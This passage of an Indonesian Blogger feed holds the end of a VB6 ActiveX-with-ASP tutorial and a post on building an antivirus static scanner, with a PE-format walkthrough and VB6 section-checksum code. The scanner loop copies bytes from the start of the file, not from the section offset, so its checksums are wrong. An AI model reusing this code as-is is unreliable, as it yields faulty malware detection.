dengan bahasa pemograman Visual Basic 6.0. Untuk memilih pembuatan ActiveX, &lt;br /&gt;dapat dilakukan dengan cara memilih jenis projek pada jendela pilihan projek. Pilihlah projek New ActiveX DLL. Maka akan tersaji 1 buah class kosong&lt;br /&gt;yang siap digunakan. Perlu diketahui bahwa pengaturan properties class Instancing harus diset ke nilai 5 atau MultiUse. Berikut adalah contoh fungsi&lt;br /&gt;yang akan mengembalikan nilai perhitungan aritmatika :&lt;br /&gt;&lt;br /&gt;------------------ START COPy FROM HERE ------------------&lt;br /&gt;&lt;br /&gt;Public Function hitung(ByRef x As Integer, ByRef y As Integer) As Integer&lt;br /&gt; hitung = (x + y) * 2&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;------------------ STOP COPy FROM HERE ------------------&lt;br /&gt;&lt;br /&gt; Lalu simpanlah projek dengan nama coba.vbp dan nama class dengan nama hitung1.cls. Lalu buatlah komponen ActiveX dari projek tersebut dengan memilih&lt;br /&gt;menu File -&gt; Make Coba.dll dari toolbar. Registrasi komponen tersebut dengan command dari kotak Run : Regsvr32.exe coba.dll. Buatlah file ASP berikut&lt;br /&gt;ini :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------ START COPy FROM HERE ------------------&lt;br /&gt;&lt;br /&gt;&lt;%&lt;br /&gt;dim hasil&lt;br /&gt;set obj = Server.createobject("coba.hitung1")&lt;br /&gt;hasil = obj.hitung(1,2)&lt;br /&gt;Response.Write hasil&lt;br /&gt;%&gt;&lt;br /&gt;&lt;br /&gt;------------------ STOP COPy FROM HERE ------------------&lt;br /&gt;&lt;br /&gt; Lalu jalankanlah dari browser anda, maka akan terlihat bahwa tercetak angka "6" dari hasil perhitungan fungsi hitung. Memang terlihat masih sangat sederhana, &lt;br /&gt;tetapi komponen ActiveX dapat dibuat dan digunakan untuk keperluan yang sangat banyak, Seperti perhitungan matematis yang rumit, prosedur Pengecekan Anti-Virus,&lt;br /&gt;mengirimkan email secara otomatis, dan lain sebagainya.&lt;br /&gt; Disamping kemudahan menggunakan komponen ActiveX dalam ASP, juga terdapat kekurangannya yaitu pemanggilan fungsi/method dari object diperlukan waktu yang lama.&lt;br /&gt;Bahkan untuk membuat object itu sendiri juga diperlukan waktu yang lama. Berikut adalah tabel perbandingan antara waktu eksekusi VBS, JS dan VB :&lt;br /&gt;&lt;br /&gt;Time taken by same code in VB/VBS/JS [misc]. &lt;br /&gt;&lt;br /&gt; VB Code      VBS  JS  VB5   &lt;br /&gt; Application("A2"), 0items     35   54   7 &lt;br /&gt; Application("A4"), 1000items     42   65   15 &lt;br /&gt; request.querystring      124        8   &lt;br /&gt; request.querystring("A")    176  161  47 &lt;br /&gt; request.querystring.Item("A")    210  205  47 &lt;br /&gt; request.servervariables("HTTP_REFERER")177  175  55 &lt;br /&gt; request.ServerVariables("REMOTE_ADDR") 205  175  74 &lt;br /&gt; request.servervariables("X")    224  226  95 &lt;br /&gt; request.servervariables("HTTP_COOKIE") 318      109 &lt;br /&gt; request.cookies("AAA")    165  160  47 &lt;br /&gt; request.totalbytes     61    61   3 &lt;br /&gt; A = X &amp; "AAAA"      4.6       1.7  &lt;br /&gt; A = "" &amp; Now()     40.7    29.3 &lt;br /&gt; D = Now      10.8     9.8 &lt;br /&gt; A = FormatNumber(5.5,2)    17.6      &lt;br /&gt; A = Format(5.5, "0.00")     52.4 &lt;br /&gt; A = Left(X,2)       5.8       1.7 &lt;br /&gt; D = InStr(X, "bb")     4.4       1.4 &lt;br /&gt; Call sub       7.4     1.4 &lt;br /&gt; CreateObject("ADODB.Connection")      1110   471 &lt;br /&gt; CreateObject("ADODB.Recordset")  751    83 &lt;br /&gt; CreateObject("Scripting.Dictionary")  590   257 &lt;br /&gt; CreateObject("Scripting.FSO")          350    27 &lt;br /&gt;&lt;br /&gt; Penggunaan memory juga mempengaruhi kinerja dari ASP. ASP mempunyai karakteristik menyimpan file include di dalam memory setiap dipanggil. Jadi bila&lt;br /&gt;Terdapat banyak file include, maka akan membebani sistem itu sendiri. Contohnya bila terdapat 100 kB file include dan tiap byte dari file tersbut memakan&lt;br /&gt;3 byte di memory dan file tersbut di include ke dalam 100 file ASP, maka 100 * 3 * 100 = 30 MB jumlah memory yang digunakan.&lt;br /&gt;Sedangkan pada penggunaan komponen ActiveX pada ASP akan sedikit menguntungkan, karena komponen akan terus di memory begitu ia diload atau di eksekusi&lt;br /&gt;hingga di bebaskan kembali oleh IIS. &lt;br /&gt;&lt;br /&gt;Penutup#&lt;br /&gt; Penggunaan komponen ActiveX di halaman ASP sangat mudah dibuat dan diimpelemntasikan. Komponen ActiveX dapat mmebaut konten web lebih dinamis dan membantu&lt;br /&gt;perhitungan matematis bila diperlukan. Penggunaan komponen ActiveX juga terdapat kelemahannya, seperti pembuatan dan pemanggilan object yang cukup memakan waktu.&lt;br /&gt; &lt;br /&gt;Referensi#&lt;br /&gt; http://en.wikipedia.org/wiki/Active_Server_Pages&lt;br /&gt; http://www.motobit.com/tips/detpg_DLLinclude/&lt;br /&gt; http://www.planet-source-code.com/&lt;br /&gt; http://support.microsoft.com/kb/249873&lt;br /&gt; http://www.google.co.id/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6524342761532683951-5505316856452655700?l=pushm0v.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pushm0v.blogspot.com/feeds/5505316856452655700/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6524342761532683951&amp;postID=5505316856452655700' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5505316856452655700'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6524342761532683951/posts/default/5505316856452655700'/><link rel='alternate' type='text/html' href='http://pushm0v.blogspot.com/2007/08/activex-dll-with-asp.html' title='ActiveX-DLL with ASP'/><author><name>PusHm0v</name><uri>http://www.blogger.com/profile/15162887274290999315</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_C4OekAEc7cI/RtBu8kd2PzI/AAAAAAAAABU/e_AOY0GYirE/s72-c/iiwaabt1.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6524342761532683951.post-4617049926490575161</id><published>2007-08-26T00:55:00.000+07:00</published><updated>2007-08-31T22:00:19.144+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tech'/><title type='text'>How To Make Your Own Anti Virus - Part 2</title><content type='html'>&lt;a href="http://bp2.blogger.com/_C4OekAEc7cI/RtBtmkd2PyI/AAAAAAAAABM/EDec5fu7Me0/s1600-h/DSC00156.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_C4OekAEc7cI/RtBtmkd2PyI/AAAAAAAAABM/EDec5fu7Me0/s320/DSC00156.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5102698887202094882" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Shoutz : All echo|staff, yogyafree|staff, The Killer Team&lt;br /&gt;  Myztx, vaganci, ^family_code^, TOMMY, adhietslank, ^rumput_kering^, Hartono, etc.&lt;br /&gt;         #e-c-h-o, #yogyafree, #javahack, #koncek, #canda, #canda-ops @DAL.NET&lt;br /&gt;         newbie_hacker@yahoogroups.com, yogyafree@yahoogroups.com&lt;br /&gt;         IT_CENTER@yahoogroups.com, ProgrammerVB@yahoogroups.com&lt;br /&gt;  virus_baru@yahoogroups.com&lt;br /&gt;         VB-bego.com, Virology.info, Vbtn.com&lt;br /&gt;         IA01 dan 1IA07, Lab MaDas angk. 19/2004 @ Gunadarma University&lt;br /&gt;         Dan teman2 serta kerabat2 lain yang tidak bisa disebutkan satu-persatu&lt;br /&gt;&lt;br /&gt;Notes  : - Penulis TIDAK bertanggung jawab atas penggunaan maupun penyalahgunaan dari artikel ini.&lt;br /&gt;  - Tujuan dibuat artikel HANYA untuk BAHAN PEMBELAJARAN saja.&lt;br /&gt;         - Penggunaan nama, merek, atau logo hanya sebagai CONTOH dan REFERENSI saja, TIDAK ada maksud&lt;br /&gt;           mempromosikan pihak tertentu.&lt;br /&gt;         - Penulis mohon maaf apabila seluruh/sebagian dari isi artikel ini sudah tersirat dalam &lt;br /&gt;           artikel sejenis lainnya.&lt;br /&gt;&lt;br /&gt;Main#&lt;br /&gt; Pada artikel terdahulu penulis sudah membahas tentang bagaimana engine scanner statis bekerja secara umum. Seperti yang&lt;br /&gt;diketahui, scanner statis akan mendeteksi sebuah malware atau thread berdasarkan hasil checksum dari file tersebut. Tetapi&lt;br /&gt;teknik ini tidak akan efesien apabila diterapkan pada malware yang sudah mengimplementasikan teknik polymorph. teknik Polymorph&lt;br /&gt;secara umum adalah teknik mereplikasi diri dan tiap signature replikanya berbeda satu sama lain. &lt;br /&gt; Dalam beberapa kasus virus lokal sudah ditemukan penggunaan teknik polymorph. Baik itu secara sederhana maupun kompleks. Cara&lt;br /&gt;yang biasa digunakan yaitu :&lt;br /&gt; &lt;br /&gt; - Merubah atau mengenkripsi nama variabel dan string&lt;br /&gt; - Menambah atau mengurangi byte-byte tertentu dalam diri virus&lt;br /&gt; - Menggunakan engine polymorph tertentu&lt;br /&gt;&lt;br /&gt; Untuk kasus yang menggunakan teknik enkripsi, tidak semua jenis enkripsi dapat didekripsi oleh engine Antivirus. Perlu analisa&lt;br /&gt;dengan menggunakan reverse-engineering yang mendalam guna memahami teknik enkripsi yang dipakai. &lt;br /&gt; Pada penulisan berikut akan dijelaskan bagaimana membuat scanner statis yg bisa mengenali thread secara lebih baik dari yang terdahulu&lt;br /&gt;Ada baiknya kita mengenal terlebih dahulu format file PE (Portable Executable) pada Windows.&lt;br /&gt; Format File PE mulai dikenalkan pada Windows NT 3.1, dimana format file ini masih menyimpan header MZ dari MS-DOS. Berikut skema dasar&lt;br /&gt;format file PE :&lt;br /&gt;&lt;br /&gt; |----------------------------|&lt;br /&gt; | CodeView Debug Information |&lt;br /&gt; |----------------------------|&lt;br /&gt; |    COFF Symbols        |&lt;br /&gt; |----------------------------|&lt;br /&gt; |      COFF Line Numbers     |&lt;br /&gt; |----------------------------|&lt;br /&gt; |        Section - n         |&lt;br /&gt; |             .              |&lt;br /&gt; |             .              |&lt;br /&gt; |        Section - 2         |&lt;br /&gt; |----------------------------|&lt;br /&gt; |        Section - 1         |&lt;br /&gt; |----------------------------|&lt;br /&gt; |        Section - 0         |&lt;br /&gt; |----------------------------|&lt;br /&gt; |    Array Section table     |&lt;br /&gt; |             .              | &lt;br /&gt; |             .              |&lt;br /&gt; |    Array Section table     |&lt;br /&gt; |----------------------------|&lt;br /&gt; |       Data Directory       | &lt;br /&gt; |----------------------------|&lt;br /&gt; |                            |&lt;br /&gt; |----------------------------|&lt;br /&gt; |      Image File Header     |&lt;br /&gt; |----------------------------|&lt;br /&gt; |          "PE\0\0"          |&lt;br /&gt; |----------------------------|&lt;br /&gt; |            "MZ"            |&lt;br /&gt; |----------------------------|&lt;br /&gt; &lt;br /&gt; $PE Header&lt;br /&gt;  PE Header merupakan salah satu struktur dari IMAGE_NT_HEADER (dideklarasikan dalam WINNT.H). Header ini mengandung berbagai macam jenis &lt;br /&gt; informasi seperti lokasi dan ukuran dari area kode dan data, system operasi yang dipakai, ukuran stack, dan lain-lain.&lt;br /&gt; Header ini juga mengandung MS-DOS stub, yaitu program kecil yang akan menampilkan teks "This program cannot be run in MS-DOS mode." bila&lt;br /&gt; file PE dijalankan di lingkungan yang tidak mendukung Win32. PE Header Terdiri dari struktur :&lt;br /&gt;&lt;br /&gt;  DWORD Signature;&lt;br /&gt;  IMAGE_FILE_HEADER FileHeader;&lt;br /&gt;  IMAGE_OPTIONAL_HEADER OptionalHeader;&lt;br /&gt;  &lt;br /&gt;  Dimana Signature adalah teks "PE\0\0". Sedangkan IMAGE_FILE_HEADER berisi struktur :&lt;br /&gt;&lt;br /&gt;  WORD    Machine //Berisi nilai untuk jenis CPU yang dipakai, ex : 0x14d untuk Intel i860&lt;br /&gt;  WORD    NumberOfSections //Berisi jumlah section yang ada di file PE&lt;br /&gt;  DWORD   TimeDateStamp //Berisi tanggal kapan linker (atau compiler untuk File OBJ) memproduksi file PE&lt;br /&gt;  DWORD   PointerToSymbolTable //Offset untuk tabel symbol COFF&lt;br /&gt;  DWORD   NumberOfSymbols //Berisi jumlah symbol COFF di tabel&lt;br /&gt;  WORD    SizeOfOptionalHeader //Berisi ukuran dari optional header&lt;br /&gt;  WORD    Characteristics //Berisi informasi tentang file PE&lt;br /&gt;&lt;br /&gt;  Untuk IMAGE_OPTIONAL_HEADER berisi :&lt;br /&gt;&lt;br /&gt;  WORD    Magic //Selalu bernilai 0x010B&lt;br /&gt;  BYTE    MajorLinkerVersion //Versi linker yang dipakai&lt;br /&gt;  BYTE    MinorLinkerVersion //Versi linker yang dipakai&lt;br /&gt;  DWORD   SizeOfCode //Ukuran dari section code&lt;br /&gt;  DWORD   SizeOfInitializedData //Ukuran dari semua data section yang terinisialisasi &lt;br /&gt;  DWORD   SizeOfUninitializedData //Ukuran dari semua data section yang tidak terinisialisasi &lt;br /&gt;  DWORD   AddressOfEntryPoint //Alamat dimana loader akan memulai eksekusi file PE, alamat ini adalah RVA (Relative Virtual Address)&lt;br /&gt;  DWORD   BaseOfCode //Alamat RVA dimana section code dimulai&lt;br /&gt;  DWORD   BaseOfData //Alamat RVA dimana section data dimulai&lt;br /&gt;  DWORD   ImageBase //Alamat dimana file PE akan dimapping di memory&lt;br /&gt;  DWORD   SectionAlignment //Nilai penggandaan untuk mapping tiap section di memory&lt;br /&gt;  DWORD   FileAlignment //Nilai penggandaan untuk mapping tiap section di disk&lt;br /&gt;  WORD    MajorOperatingSystemVersion //Versi OS yang dipakai&lt;br /&gt;  WORD    MinorOperatingSystemVersion //Versi OS yang dipakai&lt;br /&gt;  WORD    MajorSubsystemVersion //Versi minimum OS yang dipakai&lt;br /&gt;  WORD    MinorSubsystemVersion //Versi minimum OS yang dipakai&lt;br /&gt;  DWORD   Reserved1 //Selalu bernilai 0&lt;br /&gt;  DWORD   SizeOfImage //Ukuran dari image yang akan diload oleh loader &lt;br /&gt;  DWORD   SizeOfHeaders //Ukuran dari PE Header dan tabel section&lt;br /&gt;  DWORD   CheckSum //Nilai checksum CRC dari file PE&lt;br /&gt;  WORD    Subsystem //Tipe subsistem yang diperlukan untuk keperluan GUI&lt;br /&gt;  WORD    DllCharacteristics //Tanda atau flag untuk inisialisasi DLL (Dynamic Link Library)&lt;br /&gt;  DWORD   SizeOfStackReserve //Ukuran dari virtual memory yang akan digunakan untuk inisialisasi stack&lt;br /&gt;  DWORD   SizeOfStackCommit //Ukuran dari memory yang akan digunakan untuk inisialisasi stack&lt;br /&gt;  DWORD   SizeOfHeapReserve //Ukuran dari virtual memory yang akan digunakan untuk inisialisasi heap proses&lt;br /&gt;  DWORD   SizeOfHeapCommit //Ukuran dari memory yang akan digunakan untuk inisialisasi heap proses&lt;br /&gt;  DWORD   LoaderFlags //Digunakan untuk keperluan debugging&lt;br /&gt;  DWORD   NumberOfRvaAndSizes //Jumlah dari array DataDirectory&lt;br /&gt;&lt;br /&gt; $Tabel Section&lt;br /&gt;   Secara umum Tabel Section dapat dianalogikan sebagai "daftar" untuk tiap section yang ada di file PE. Tabel ini mencakup informasi&lt;br /&gt;  tentang section-section file PE. berikut contoh layout dari tabel section file PE yang sudah di dump :&lt;br /&gt;&lt;br /&gt;  01 .text     VirtSize: 00005AFA  VirtAddr:  00001000&lt;br /&gt;    raw data offs:   00000400  raw data size: 00005C00&lt;br /&gt;    relocation offs: 00000000  relocations:   00000000&lt;br /&gt;    line # offs:     00009220  line #'s:      0000020C&lt;br /&gt;    characteristics: 60000020&lt;br /&gt;      CODE  MEM_EXECUTE  MEM_READ&lt;br /&gt;&lt;br /&gt;  02 .bss      VirtSize: 00001438  VirtAddr:  00007000&lt;br /&gt;    raw data offs:   00000000  raw data size: 00001600&lt;br /&gt;    relocation offs: 00000000  relocations:   00000000&lt;br /&gt;    line # offs:     00000000  line #'s:      00000000&lt;br /&gt;    characteristics: C0000080&lt;br /&gt;      UNINITIALIZED_DATA  MEM_READ  MEM_WRITE&lt;br /&gt;&lt;br /&gt;  03 .rdata    VirtSize: 0000015C  VirtAddr:  00009000&lt;br /&gt;    raw data offs:   00006000  raw data size: 00000200&lt;br /&gt;    relocation offs: 00000000  relocations:   00000000&lt;br /&gt;    line # offs:     00000000  line #'s:      00000000&lt;br /&gt;    characteristics: 40000040&lt;br /&gt;      INITIALIZED_DATA  MEM_READ&lt;br /&gt;&lt;br /&gt;  04 .data     VirtSize: 0000239C  VirtAddr:  0000A000&lt;br /&gt;    raw data offs:   00006200  raw data size: 00002400&lt;br /&gt;    relocation offs: 00000000  relocations:   00000000&lt;br /&gt;    line # offs:     00000000  line #'s:      00000000&lt;br /&gt;    characteristics: C0000040&lt;br /&gt;      INITIALIZED_DATA  MEM_READ  MEM_WRITE&lt;br /&gt;&lt;br /&gt;  05 .idata    VirtSize: 0000033E  VirtAddr:  0000D000&lt;br /&gt;    raw data offs:   00008600  raw data size: 00000400&lt;br /&gt;    relocation offs: 00000000  relocations:   00000000&lt;br /&gt;    line # offs:     00000000  line #'s:      00000000&lt;br /&gt;    characteristics: C0000040&lt;br /&gt;      INITIALIZED_DATA  MEM_READ  MEM_WRITE&lt;br /&gt;&lt;br /&gt;  06 .reloc    VirtSize: 000006CE  VirtAddr:  0000E000&lt;br /&gt;    raw data offs:   00008A00  raw data size: 00000800&lt;br /&gt;    relocation offs: 00000000  relocations:   00000000&lt;br /&gt;    line # offs:     00000000  line #'s:      00000000&lt;br /&gt;    characteristics: 42000040&lt;br /&gt;      INITIALIZED_DATA  MEM_DISCARDABLE  MEM_READ&lt;br /&gt;&lt;br /&gt;  Layout diatas adalah format dari IMAGE_SECTION_HEADER, Berikut keterangan tentang IMAGE_SECTION_HEADER :&lt;br /&gt;&lt;br /&gt;  BYTE Name[IMAGE_SIZEOF_SHORT_NAME] //Nama section, biasanya diawali dengan tanda titik/dot&lt;br /&gt;  union {        //Nilai sesungguhnya dari ukuran kode atau data&lt;br /&gt;   DWORD PhysicalAddress&lt;br /&gt;   DWORD VirtualSize&lt;br /&gt;  } Misc; &lt;br /&gt;  DWORD VirtualAddress //Alamat RVA untuk keperluan mapping oleh loader&lt;br /&gt;  DWORD SizeOfRawData //Ukuran dari section setelah dibulatkan ke ukuran file alignment&lt;br /&gt;  DWORD PointerToRawData //Offset dari section&lt;br /&gt;  DWORD PointerToRelocations //Offset untuk informasi relokasi section&lt;br /&gt;  DWORD PointerToLinenumbers //Offset untuk nomor baris (line number)&lt;br /&gt;  WORD NumberOfRelocations //Jumlah dari relokasi yang ada di tabel relokasi&lt;br /&gt;  WORD NumberOfLinenumbers //Jumlah dari nomor baris yang ada di tabel nomor baris&lt;br /&gt;  DWORD Characteristics //Berisi angka tertentu yang menunjukkan atribut dari suatu section (data, kode, dll)&lt;br /&gt;&lt;br /&gt;How to build#&lt;br /&gt; Untuk membangun suatu scanner statis yang dapat memetakan (mapping) dan mengambil sebagian sectionnya utnuk dianalisa&lt;br /&gt;, perlu diketahui terlebih dahulu hal-hal berikut :&lt;br /&gt; &lt;br /&gt; - What's section? Berhubung section yang dimiliki oleh suatu file PE beragam jumlah dan isinya, kita perlu mengetahui section&lt;br /&gt;   keberapa dan apa isinya sebelum di analisa atau di dump. Pengidentifikasian tiap section dapat dilakukan dengan cara menganalisis &lt;br /&gt;   karakteristik file PE tersebut.&lt;br /&gt; - Is it packed/compressed or not? Kadang para pembuat aplikasi perlu memproteksi atau mengecilkan ukuran file PE mereka&lt;br /&gt;   dengan cara menggunakan packer/compressor. Hal ini sangat berpengaruh dalam pengidentifikasian section, karena seringkali packer&lt;br /&gt;   /compressor membuat section dummy dalam file PE yang dihasilkan.&lt;br /&gt; &lt;br /&gt; Bahasa pemograman yang digunakan adalah Visual Basic 6.0. sedangkan Projek yang akan dibuat adalah ActiveX DLL (Dynamic Link Library), &lt;br /&gt;sehingga dapat digunakan oleh aplikasi lain. Referensi tentang File DLL dapat dilihat dibagian akhir artikel ini.&lt;br /&gt; Section yang akan diambil adalah data atau code section, dengan mengasumsikan section tersebut berada di urutan kedua maka Section tersebut &lt;br /&gt;seharusnya memiliki nama ".data". Berikut adalah flowchart sederhana dari DLL yang akan dibuat :&lt;br /&gt;&lt;br /&gt;                       |Start|&lt;br /&gt;                          |&lt;br /&gt;                                 |&lt;br /&gt;                            |Input File|&lt;br /&gt;                                 |&lt;br /&gt;                                 |&lt;br /&gt;                    &lt;Periksa apakah PE yang valid&gt;&lt;br /&gt;                                 |y&lt;br /&gt;                                 |&lt;br /&gt;                      |Mapping tabel section|&lt;br /&gt;                                 |&lt;br /&gt;                                 |&lt;br /&gt;           &lt;Apakah section urutan ke 2 atau bernama .data&gt;&lt;br /&gt;                                 |y&lt;br /&gt;                                 |&lt;br /&gt;                   |Dapatkan size dan offsetnya|&lt;br /&gt;                                 |&lt;br /&gt;                                 |&lt;br /&gt;              |ambil checksum dari byte section tsb|&lt;br /&gt;                                 |&lt;br /&gt;                                 |&lt;br /&gt;                               |End| &lt;br /&gt;&lt;br /&gt; Untuk fungsi pengambilan checksum dapat menggunakan teknik CRC ataupun MD5. Khusus utnuk teknik CRC dapat ditemui pada artikel sebelumnya.&lt;br /&gt;Sedangkan untuk teknik MD5 dapat menggunakan file aamd532.dll yang ada di file projek artikel ini.&lt;br /&gt; Berikut ini adalah contoh sederhana Activex DLLnya :&lt;br /&gt;&lt;br /&gt;------------------ START COPy FROM HERE ------------------&lt;br /&gt;'Jenis Projek : Activex DLL&lt;br /&gt;'Nama file Class : Class1.cls&lt;br /&gt;&lt;br /&gt;Private Type IMAGEDOSHEADER&lt;br /&gt;    e_magic As String * 2&lt;br /&gt;    e_cblp As Integer&lt;br /&gt;    e_cp As Integer&lt;br /&gt;    e_crlc As Integer&lt;br /&gt;    e_cparhdr As Integer&lt;br /&gt;    e_minalloc As Integer&lt;br /&gt;    e_maxalloc As Integer&lt;br /&gt;    e_ss As Integer&lt;br /&gt;    e_sp As Integer&lt;br /&gt;    e_csum As Integer&lt;br /&gt;    e_ip As Integer&lt;br /&gt;    e_cs As Integer&lt;br /&gt;    e_lfarlc As Integer&lt;br /&gt;    e_ovno As Integer&lt;br /&gt;    e_res(1 To 4) As Integer&lt;br /&gt;    e_oemid As Integer&lt;br /&gt;    e_oeminfo As Integer&lt;br /&gt;    e_res2(1 To 10)    As Integer&lt;br /&gt;    e_lfanew As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type IMAGE_SECTION_HEADER&lt;br /&gt;    nameSec As String * 6&lt;br /&gt;    PhisicalAddress As Integer&lt;br /&gt;    VirtualSize As Long&lt;br /&gt;    VirtualAddress As Long&lt;br /&gt;    SizeOfRawData As Long&lt;br /&gt;    PointerToRawData As Long&lt;br /&gt;    PointerToRelocations As Long&lt;br /&gt;    PointerToLinenumbers As Long&lt;br /&gt;    NumberOfRelocations As Integer&lt;br /&gt;    NumberOfLinenumbers As Integer&lt;br /&gt;    Characteristics As Long&lt;br /&gt;   &lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type IMAGE_FILE_HEADER&lt;br /&gt;    Machine As Integer&lt;br /&gt;    NumberOfSections As Integer&lt;br /&gt;    TimeDateStamp As Long&lt;br /&gt;    PointerToSymbolTable As Long&lt;br /&gt;    NumberOfSymbols As Long&lt;br /&gt;    SizeOfOptionalHeader As Integer&lt;br /&gt;    Characteristics As Integer&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type IMAGE_DATA_DIRECTORY&lt;br /&gt;    VirtualAddress As Long&lt;br /&gt;    size As Long&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Type IMAGE_OPTIONAL_HEADER&lt;br /&gt;    Magic As Integer&lt;br /&gt;    MajorLinkerVersion As Byte&lt;br /&gt;    MinorLinkerVersion As Byte&lt;br /&gt;    SizeOfCode As Long&lt;br /&gt;    SizeOfInitializedData As Long&lt;br /&gt;    SizeOfUninitializedData As Long&lt;br /&gt;    AddressOfEntryPoint As Long&lt;br /&gt;    BaseOfCode As Long&lt;br /&gt;    BaseOfData As Long&lt;br /&gt;    ImageBase As Long&lt;br /&gt;    SectionAlignment As Long&lt;br /&gt;    FileAlignment As Long&lt;br /&gt;    MajorOperatingSystemVersion As Integer&lt;br /&gt;    MinorOperatingSystemVersion As Integer&lt;br /&gt;    MajorImageVersion As Integer&lt;br /&gt;    MinorImageVersion As Integer&lt;br /&gt;    MajorSubsystemVersion As Integer&lt;br /&gt;    MinorSubsystemVersion As Integer&lt;br /&gt;    Win32VersionValue As Long&lt;br /&gt;    SizeOfImage As Long&lt;br /&gt;    SizeOfHeaders As Long&lt;br /&gt;    CheckSum As Long&lt;br /&gt;    Subsystem As Integer&lt;br /&gt;    DllCharacteristics As Integer&lt;br /&gt;    SizeOfStackReserve As Long&lt;br /&gt;    SizeOfStackCommit As Long&lt;br /&gt;    SizeOfHeapReserve As Long&lt;br /&gt;    SizeOfHeapCommit As Long&lt;br /&gt;    LoaderFlags As Long&lt;br /&gt;    NumberOfRvaAndSizes As Long&lt;br /&gt;    DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private Type IMAGE_NT_HEADERS&lt;br /&gt;    Signature As String * 4&lt;br /&gt;    FileHeader As IMAGE_FILE_HEADER&lt;br /&gt;   OptionalHeader As IMAGE_OPTIONAL_HEADER&lt;br /&gt;End Type&lt;br /&gt;&lt;br /&gt;Private DOSHEADER As IMAGEDOSHEADER&lt;br /&gt;Private NTHEADER As IMAGE_NT_HEADERS&lt;br /&gt;Private SECTIONSHEADER() As IMAGE_SECTION_HEADER&lt;br /&gt;Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)&lt;br /&gt;&lt;br /&gt;Public Function ReadPE(ByRef DATA() As Byte) As String&lt;br /&gt;On Error GoTo ErrX&lt;br /&gt;Dim CNT As Long&lt;br /&gt;Dim u As Long&lt;br /&gt;Dim dumpSec() As Byte&lt;br /&gt;&lt;br /&gt;CopyMemory DOSHEADER, DATA(CNT), Len(DOSHEADER) 'Memulai mapping&lt;br /&gt;If DOSHEADER.e_magic &lt;&gt; "MZ" Then Exit Function 'Periksa apakah DOS Header adalah valid&lt;br /&gt;CopyMemory NTHEADER, DATA(DOSHEADER.e_lfanew), Len(NTHEADER)&lt;br /&gt;CNT = CNT + DOSHEADER.e_lfanew + Len(NTHEADER) 'Offset section pertama&lt;br /&gt;If NTHEADER.Signature &lt;&gt; "PE" &amp; Chr(0) &amp; Chr(0) Then Exit Function 'Periksa apakah file PE adalah valid&lt;br /&gt;ReDim SECTIONSHEADER(NTHEADER.FileHeader.NumberOfSections - 1) 'Array tabel section&lt;br /&gt;For u = 0 To UBound(SECTIONSHEADER) 'Enumerasi tiap section&lt;br /&gt;CopyMemory SECTIONSHEADER(u), DATA(CNT), Len(SECTIONSHEADER(0))&lt;br /&gt;CNT = CNT + Len(SECTIONSHEADER(0)) 'Offset section berikutnya&lt;br /&gt;If SECTIONSHEADER(u).nameSec = ".data" Or u = 1 Then 'Periksa apakah section ke 2 atau bernama .data&lt;br /&gt; POINTERTORAW = SECTIONSHEADER(u).PointerToRawData 'Dapatkan offset section&lt;br /&gt; SIZEOFRAW = SECTIONSHEADER(u).SizeOfRawData 'Dapatkan ukurannya&lt;br /&gt; ReDim dumpSec(SIZEOFRAW - 1)&lt;br /&gt; For i = 0 To SIZEOFRAW - 1&lt;br /&gt;  dumpSec(i) = DATA(i) 'Salin array yang mengandung section code&lt;br /&gt; Next&lt;br /&gt; ReadPE = Hex(CRC32(dumpSec(), SIZEOFRAW - 1)) 'Teknik CRC32&lt;br /&gt; GoTo udah&lt;br /&gt;End If&lt;br /&gt;Next u&lt;br /&gt;udah:&lt;br /&gt;Exit Function&lt;br /&gt;ErrX:&lt;br /&gt;On Error GoTo 0&lt;br /&gt;End Function&lt;br /&gt;&lt;br /&gt;------------------ STOP COPy FROM HERE ------------------&lt;br /&gt;&lt;br /&gt; Dimana DATA() adalah array byte dari file PE yang dibuka. Engine scanner ini perlu ditingkatkan sensitifitas&lt;br /&gt;nya, karena bila terdapat section dummy pada urutan section kedua atau tidak ada section yang bernama .data &lt;br /&gt;maka hasil yang diperoleh akan salah.&lt;br /&gt;&lt;br /&gt;Penutup#&lt;br /&gt; Engine scanner statis pada AntiVirus dapat ditingkatkan kinerjanya dengan menambahkan algoritma, fungsi ataupun&lt;br /&gt;prosedur tertentu dalam menganalisa setiap file suspect. Salah satu yang bisa ditambahkan adalah fungsi pengecekan&lt;br /&gt;per section pada file PE. Fungsi ini juga masih rawan dari kesalahan analisa. Diharapkan dengan adanya artikel ini&lt;br /&gt;dapat mengembangkan ataupun memajukan kualitas aplikasi Anti Virus lokal. &lt;br /&gt;&lt;br /&gt;Referensi#&lt;br /&gt; Pietrek,Matt; Peering Inside the PE: A Tour of the Win32 Portable Executable File Format; MSDN; 1994&lt;br /&gt; www.allapi.net&lt;br /&gt; www.google.co.id&lt;br /&gt; www.planet-source-code.com&lt;br /&gt;&lt;br /&gt;Links#&lt;br /&gt; Projek 